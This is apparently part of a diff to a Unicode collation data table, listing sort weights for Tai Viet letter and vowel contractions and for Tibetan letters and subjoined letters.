+AABB AA92 ; [.2DF5.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW DO>
+AABC AA92 ; [.2DF5.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW DO>
+AA93  ; [.2DF6.0020.0002] # TAI VIET LETTER HIGH DO
+AAB5 AA93 ; [.2DF6.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH DO>
+AAB6 AA93 ; [.2DF6.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH DO>
+AAB9 AA93 ; [.2DF6.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH DO>
+AABB AA93 ; [.2DF6.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH DO>
+AABC AA93 ; [.2DF6.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH DO>
+AA94  ; [.2DF7.0020.0002] # TAI VIET LETTER LOW TO
+AAB5 AA94 ; [.2DF7.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW TO>
+AAB6 AA94 ; [.2DF7.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW TO>
+AAB9 AA94 ; [.2DF7.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW TO>
+AABB AA94 ; [.2DF7.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW TO>
+AABC AA94 ; [.2DF7.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW TO>
+AA95  ; [.2DF8.0020.0002] # TAI VIET LETTER HIGH TO
+AAB5 AA95 ; [.2DF8.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH TO>
+AAB6 AA95 ; [.2DF8.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH TO>
+AAB9 AA95 ; [.2DF8.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH TO>
+AABB AA95 ; [.2DF8.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH TO>
+AABC AA95 ; [.2DF8.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH TO>
+AA96  ; [.2DF9.0020.0002] # TAI VIET LETTER LOW THO
+AAB5 AA96 ; [.2DF9.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW THO>
+AAB6 AA96 ; [.2DF9.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW THO>
+AAB9 AA96 ; [.2DF9.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW THO>
+AABB AA96 ; [.2DF9.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW THO>
+AABC AA96 ; [.2DF9.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW THO>
+AA97  ; [.2DFA.0020.0002] # TAI VIET LETTER HIGH THO
+AAB5 AA97 ; [.2DFA.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH THO>
+AAB6 AA97 ; [.2DFA.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH THO>
+AAB9 AA97 ; [.2DFA.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH THO>
+AABB AA97 ; [.2DFA.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH THO>
+AABC AA97 ; [.2DFA.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH THO>
+AA98  ; [.2DFB.0020.0002] # TAI VIET LETTER LOW NO
+AAB5 AA98 ; [.2DFB.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW NO>
+AAB6 AA98 ; [.2DFB.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW NO>
+AAB9 AA98 ; [.2DFB.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW NO>
+AABB AA98 ; [.2DFB.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW NO>
+AABC AA98 ; [.2DFB.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW NO>
+AA99  ; [.2DFC.0020.0002] # TAI VIET LETTER HIGH NO
+AAB5 AA99 ; [.2DFC.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH NO>
+AAB6 AA99 ; [.2DFC.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH NO>
+AAB9 AA99 ; [.2DFC.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH NO>
+AABB AA99 ; [.2DFC.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH NO>
+AABC AA99 ; [.2DFC.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH NO>
+AA9A  ; [.2DFD.0020.0002] # TAI VIET LETTER LOW BO
+AAB5 AA9A ; [.2DFD.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW BO>
+AAB6 AA9A ; [.2DFD.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW BO>
+AAB9 AA9A ; [.2DFD.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW BO>
+AABB AA9A ; [.2DFD.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW BO>
+AABC AA9A ; [.2DFD.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW BO>
+AA9B  ; [.2DFE.0020.0002] # TAI VIET LETTER HIGH BO
+AAB5 AA9B ; [.2DFE.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH BO>
+AAB6 AA9B ; [.2DFE.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH BO>
+AAB9 AA9B ; [.2DFE.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH BO>
+AABB AA9B ; [.2DFE.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH BO>
+AABC AA9B ; [.2DFE.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH BO>
+AA9C  ; [.2DFF.0020.0002] # TAI VIET LETTER LOW PO
+AAB5 AA9C ; [.2DFF.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW PO>
+AAB6 AA9C ; [.2DFF.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW PO>
+AAB9 AA9C ; [.2DFF.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW PO>
+AABB AA9C ; [.2DFF.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW PO>
+AABC AA9C ; [.2DFF.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW PO>
+AA9D  ; [.2E00.0020.0002] # TAI VIET LETTER HIGH PO
+AAB5 AA9D ; [.2E00.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH PO>
+AAB6 AA9D ; [.2E00.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH PO>
+AAB9 AA9D ; [.2E00.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH PO>
+AABB AA9D ; [.2E00.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH PO>
+AABC AA9D ; [.2E00.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH PO>
+AA9E  ; [.2E01.0020.0002] # TAI VIET LETTER LOW PHO
+AAB5 AA9E ; [.2E01.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW PHO>
+AAB6 AA9E ; [.2E01.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW PHO>
+AAB9 AA9E ; [.2E01.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW PHO>
+AABB AA9E ; [.2E01.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW PHO>
+AABC AA9E ; [.2E01.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW PHO>
+AA9F  ; [.2E02.0020.0002] # TAI VIET LETTER HIGH PHO
+AAB5 AA9F ; [.2E02.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH PHO>
+AAB6 AA9F ; [.2E02.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH PHO>
+AAB9 AA9F ; [.2E02.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH PHO>
+AABB AA9F ; [.2E02.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH PHO>
+AABC AA9F ; [.2E02.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH PHO>
+AAA0  ; [.2E03.0020.0002] # TAI VIET LETTER LOW FO
+AAB5 AAA0 ; [.2E03.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW FO>
+AAB6 AAA0 ; [.2E03.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW FO>
+AAB9 AAA0 ; [.2E03.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW FO>
+AABB AAA0 ; [.2E03.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW FO>
+AABC AAA0 ; [.2E03.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW FO>
+AAA1  ; [.2E04.0020.0002] # TAI VIET LETTER HIGH FO
+AAB5 AAA1 ; [.2E04.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH FO>
+AAB6 AAA1 ; [.2E04.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH FO>
+AAB9 AAA1 ; [.2E04.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH FO>
+AABB AAA1 ; [.2E04.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH FO>
+AABC AAA1 ; [.2E04.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH FO>
+AAA2  ; [.2E05.0020.0002] # TAI VIET LETTER LOW MO
+AAB5 AAA2 ; [.2E05.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW MO>
+AAB6 AAA2 ; [.2E05.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW MO>
+AAB9 AAA2 ; [.2E05.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW MO>
+AABB AAA2 ; [.2E05.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW MO>
+AABC AAA2 ; [.2E05.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW MO>
+AAA3  ; [.2E06.0020.0002] # TAI VIET LETTER HIGH MO
+AAB5 AAA3 ; [.2E06.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH MO>
+AAB6 AAA3 ; [.2E06.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH MO>
+AAB9 AAA3 ; [.2E06.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH MO>
+AABB AAA3 ; [.2E06.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH MO>
+AABC AAA3 ; [.2E06.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH MO>
+AAA4  ; [.2E07.0020.0002] # TAI VIET LETTER LOW YO
+AAB5 AAA4 ; [.2E07.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW YO>
+AAB6 AAA4 ; [.2E07.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW YO>
+AAB9 AAA4 ; [.2E07.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW YO>
+AABB AAA4 ; [.2E07.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW YO>
+AABC AAA4 ; [.2E07.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW YO>
+AAA5  ; [.2E08.0020.0002] # TAI VIET LETTER HIGH YO
+AAB5 AAA5 ; [.2E08.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH YO>
+AAB6 AAA5 ; [.2E08.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH YO>
+AAB9 AAA5 ; [.2E08.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH YO>
+AABB AAA5 ; [.2E08.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH YO>
+AABC AAA5 ; [.2E08.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH YO>
+AAA6  ; [.2E09.0020.0002] # TAI VIET LETTER LOW RO
+AAB5 AAA6 ; [.2E09.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW RO>
+AAB6 AAA6 ; [.2E09.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW RO>
+AAB9 AAA6 ; [.2E09.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW RO>
+AABB AAA6 ; [.2E09.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW RO>
+AABC AAA6 ; [.2E09.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW RO>
+AAA7  ; [.2E0A.0020.0002] # TAI VIET LETTER HIGH RO
+AAB5 AAA7 ; [.2E0A.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH RO>
+AAB6 AAA7 ; [.2E0A.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH RO>
+AAB9 AAA7 ; [.2E0A.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH RO>
+AABB AAA7 ; [.2E0A.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH RO>
+AABC AAA7 ; [.2E0A.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH RO>
+AAA8  ; [.2E0B.0020.0002] # TAI VIET LETTER LOW LO
+AAB5 AAA8 ; [.2E0B.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW LO>
+AAB6 AAA8 ; [.2E0B.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW LO>
+AAB9 AAA8 ; [.2E0B.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW LO>
+AABB AAA8 ; [.2E0B.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW LO>
+AABC AAA8 ; [.2E0B.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW LO>
+AAA9  ; [.2E0C.0020.0002] # TAI VIET LETTER HIGH LO
+AAB5 AAA9 ; [.2E0C.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH LO>
+AAB6 AAA9 ; [.2E0C.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH LO>
+AAB9 AAA9 ; [.2E0C.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH LO>
+AABB AAA9 ; [.2E0C.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH LO>
+AABC AAA9 ; [.2E0C.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH LO>
+AAAA  ; [.2E0D.0020.0002] # TAI VIET LETTER LOW VO
+AAB5 AAAA ; [.2E0D.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW VO>
+AAB6 AAAA ; [.2E0D.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW VO>
+AAB9 AAAA ; [.2E0D.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW VO>
+AABB AAAA ; [.2E0D.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW VO>
+AABC AAAA ; [.2E0D.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW VO>
+AAAB  ; [.2E0E.0020.0002] # TAI VIET LETTER HIGH VO
+AAB5 AAAB ; [.2E0E.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH VO>
+AAB6 AAAB ; [.2E0E.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH VO>
+AAB9 AAAB ; [.2E0E.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH VO>
+AABB AAAB ; [.2E0E.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH VO>
+AABC AAAB ; [.2E0E.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH VO>
+AAAC  ; [.2E0F.0020.0002] # TAI VIET LETTER LOW HO
+AAB5 AAAC ; [.2E0F.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW HO>
+AAB6 AAAC ; [.2E0F.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW HO>
+AAB9 AAAC ; [.2E0F.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW HO>
+AABB AAAC ; [.2E0F.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW HO>
+AABC AAAC ; [.2E0F.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW HO>
+AAAD  ; [.2E10.0020.0002] # TAI VIET LETTER HIGH HO
+AAB5 AAAD ; [.2E10.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH HO>
+AAB6 AAAD ; [.2E10.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH HO>
+AAB9 AAAD ; [.2E10.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH HO>
+AABB AAAD ; [.2E10.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH HO>
+AABC AAAD ; [.2E10.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH HO>
+AAAE  ; [.2E11.0020.0002] # TAI VIET LETTER LOW O
+AAB5 AAAE ; [.2E11.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW O>
+AAB6 AAAE ; [.2E11.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW O>
+AAB9 AAAE ; [.2E11.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW O>
+AABB AAAE ; [.2E11.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW O>
+AABC AAAE ; [.2E11.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW O>
+AAAF  ; [.2E12.0020.0002] # TAI VIET LETTER HIGH O
+AAB5 AAAF ; [.2E12.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH O>
+AAB6 AAAF ; [.2E12.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH O>
+AAB9 AAAF ; [.2E12.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH O>
+AABB AAAF ; [.2E12.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH O>
+AABC AAAF ; [.2E12.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH O>
+AAB0  ; [.2E13.0020.0002] # TAI VIET MAI KANG
+AAB1  ; [.2E14.0020.0002] # TAI VIET VOWEL AA
+AAB2  ; [.2E15.0020.0002] # TAI VIET VOWEL I
+AAB3  ; [.2E16.0020.0002] # TAI VIET VOWEL UE
+AAB4  ; [.2E17.0020.0002] # TAI VIET VOWEL U
+AAB5  ; [.2E18.0020.0002] # TAI VIET VOWEL E
+AAB6  ; [.2E19.0020.0002] # TAI VIET VOWEL O
+AAB7  ; [.2E1A.0020.0002] # TAI VIET MAI KHIT
+AAB8  ; [.2E1B.0020.0002] # TAI VIET VOWEL IA
+AAB9  ; [.2E1C.0020.0002] # TAI VIET VOWEL UEA
+AABA  ; [.2E1D.0020.0002] # TAI VIET VOWEL UA
+AABB  ; [.2E1E.0020.0002] # TAI VIET VOWEL AUE
+AABC  ; [.2E1F.0020.0002] # TAI VIET VOWEL AY
+AABD  ; [.2E20.0020.0002] # TAI VIET VOWEL AN
+AABE  ; [.2E21.0020.0002] # TAI VIET VOWEL AM
+AAC0  ; [.2E22.0020.0002] # TAI VIET TONE MAI NUENG
+AAC2  ; [.2E23.0020.0002] # TAI VIET TONE MAI SONG
+AADB  ; [.2E24.0020.0002] # TAI VIET SYMBOL KON
+AADC  ; [.2E25.0020.0002] # TAI VIET SYMBOL NUENG
+0F40  ; [.2E26.0020.0002] # TIBETAN LETTER KA
+0F69  ; [.2E26.0020.0002][.2E67.0020.0002] # TIBETAN LETTER KSSA
+0F90  ; [.2E27.0020.0002] # TIBETAN SUBJOINED LETTER KA
+0FB9  ; [.2E27.0020.0002][.2E67.0020.0002] # TIBETAN SUBJOINED LETTER KSSA
+0F6B  ; [.2E28.0020.0002] # TIBETAN LETTER KKA
+0F41  ; [.2E29.0020.0002] # TIBETAN LETTER KHA
+0F91  ; [.2E2A.0020.0002] # TIBETAN SUBJOINED LETTER KHA
+0F42  ; [.2E2B.0020.0002] # TIBETAN LETTER GA
+0F43  ; [.2E2B.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER GHA
+0F92  ; [.2E2C.0020.0002] # TIBETAN SUBJOINED LETTER GA
+0F93  ; [.2E2C.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER GHA
+0F44  ; [.2E2D.0020.0002] # TIBETAN LETTER NGA
+0F94  ; [.2E2E.0020.0002] # TIBETAN SUBJOINED LETTER NGA
+0F45  ; [.2E2F.0020.0002] # TIBETAN LETTER CA
+0F95  ; [.2E30.0020.0002] # TIBETAN SUBJOINED LETTER CA
+0F46  ; [.2E31.0020.0002] # TIBETAN LETTER CHA
+0F96  ; [.2E32.0020.0002] # TIBETAN SUBJOINED LETTER CHA
+0F47  ; [.2E33.0020.0002] # TIBETAN LETTER JA
+0F97  ; [.2E34.0020.0002] # TIBETAN SUBJOINED LETTER JA
+0F49  ; [.2E35.0020.0002] # TIBETAN LETTER NYA
+0F99  ; [.2E36.0020.0002] # TIBETAN SUBJOINED LETTER NYA
+0F4A  ; [.2E37.0020.0002] # TIBETAN LETTER TTA
+0F9A  ; [.2E38.0020.0002] # TIBETAN SUBJOINED LETTER TTA
+0F4B  ; [.2E39.0020.0002] # TIBETAN LETTER TTHA
+0F9B  ; [.2E3A.0020.0002] # TIBETAN SUBJOINED LETTER TTHA
+0F4C  ; [.2E3B.0020.0002] # TIBETAN LETTER DDA
+0F4D  ; [.2E3B.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER DDHA
+0F9C  ; [.2E3C.0020.0002] # TIBETAN SUBJOINED LETTER DDA
+0F9D  ; [.2E3C.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER DDHA
+0F4E  ; [.2E3D.0020.0002] # TIBETAN LETTER NNA
+0F9E  ; [.2E3E.0020.0002] # TIBETAN SUBJOINED LETTER NNA
+0F4F  ; [.2E3F.0020.0002] # TIBETAN LETTER TA
+0F9F  ; [.2E40.0020.0002] # TIBETAN SUBJOINED LETTER TA
+0F50  ; [.2E41.0020.0002] # TIBETAN LETTER THA
+0FA0  ; [.2E42.0020.0002] # TIBETAN SUBJOINED LETTER THA
+0F51  ; [.2E43.0020.0002] # TIBETAN LETTER DA
+0F52  ; [.2E43.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER DHA
+0FA1  ; [.2E44.0020.0002] # TIBETAN SUBJOINED LETTER DA
+0FA2  ; [.2E44.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER DHA
+0F53  ; [.2E45.0020.0002] # TIBETAN LETTER NA
+0FA3  ; [.2E46.0020.0002] # TIBETAN SUBJOINED LETTER NA
+0F54  ; [.2E47.0020.0002] # TIBETAN LETTER PA
+0FA4  ; [.2E48.0020.0002] # TIBETAN SUBJOINED LETTER PA
+0F55  ; [.2E49.0020.0002] # TIBETAN LETTER PHA
+0FA5  ; [.2E4A.0020.0002] # TIBETAN SUBJOINED LETTER PHA
+0F56  ; [.2E4B.0020.0002] # TIBETAN LETTER BA
+0F57  ; [.2E4B.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER BHA
+0FA6  ; [.2E4C.0020.0002] # TIBETAN SUBJOINED LETTER BA
+0FA7  ; [.2E4C.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER BHA
+0F58  ; [.2E4D.0020.0002] # TIBETAN LETTER MA
+0FA8  ; [.2E4E.0020.0002] # TIBETAN SUBJOINED LETTER MA
+0F59  ; [.2E4F.0020.0002] # TIBETAN LETTER TSA
+0FA9  ; [.2E50.0020.0002] # TIBETAN SUBJOINED LETTER TSA
+0F5A  ; [.2E51.0020.0002] # TIBETAN LETTER TSHA
+0FAA  ; [.2E52.0020.0002] # TIBETAN SUBJOINED LETTER TSHA
+0F5B  ; [.2E53.0020.0002] # TIBETAN LETTER DZA
+0F5C  ; [.2E53.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER DZHA
+0FAB  ; [.2E54.0020.0002] # TIBETAN SUBJOINED LETTER DZA
+0FAC  ; [.2E54.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER DZHA
+0F5D  ; [.2E55.0020.0002] # TIBETAN LETTER WA
+0FAD  ; [.2E56.0020.0002] # TIBETAN SUBJOINED LETTER WA
+0FBA  ; [.2E56.0020.0004][.0000.0111.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM WA
+0F5E  ; [.2E57.0020.0002] # TIBETAN LETTER ZHA
+0FAE  ; [.2E58.0020.0002] # TIBETAN SUBJOINED LETTER ZHA
+0F5F  ; [.2E59.0020.0002] # TIBETAN LETTER ZA
+0FAF  ; [.2E5A.0020.0002] # TIBETAN SUBJOINED LETTER ZA
+0F60  ; [.2E5B.0020.0002] # TIBETAN LETTER -A
+0FB0  ; [.2E5C.0020.0002] # TIBETAN SUBJOINED LETTER -A
+0F61  ; [.2E5D.0020.0002] # TIBETAN LETTER YA
+0FB1  ; [.2E5E.0020.0002] # TIBETAN SUBJOINED LETTER YA
+0FBB  ; [.2E5E.0020.0004][.0000.0111.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM YA
+0F62  ; [.2E5F.0020.0002] # TIBETAN LETTER RA
+0F6A  ; [.2E5F.0020.0004][.0000.0111.0004] # TIBETAN LETTER FIXED-FORM RA
+0FB2  ; [.2E60.0020.0002] # TIBETAN SUBJOINED LETTER RA
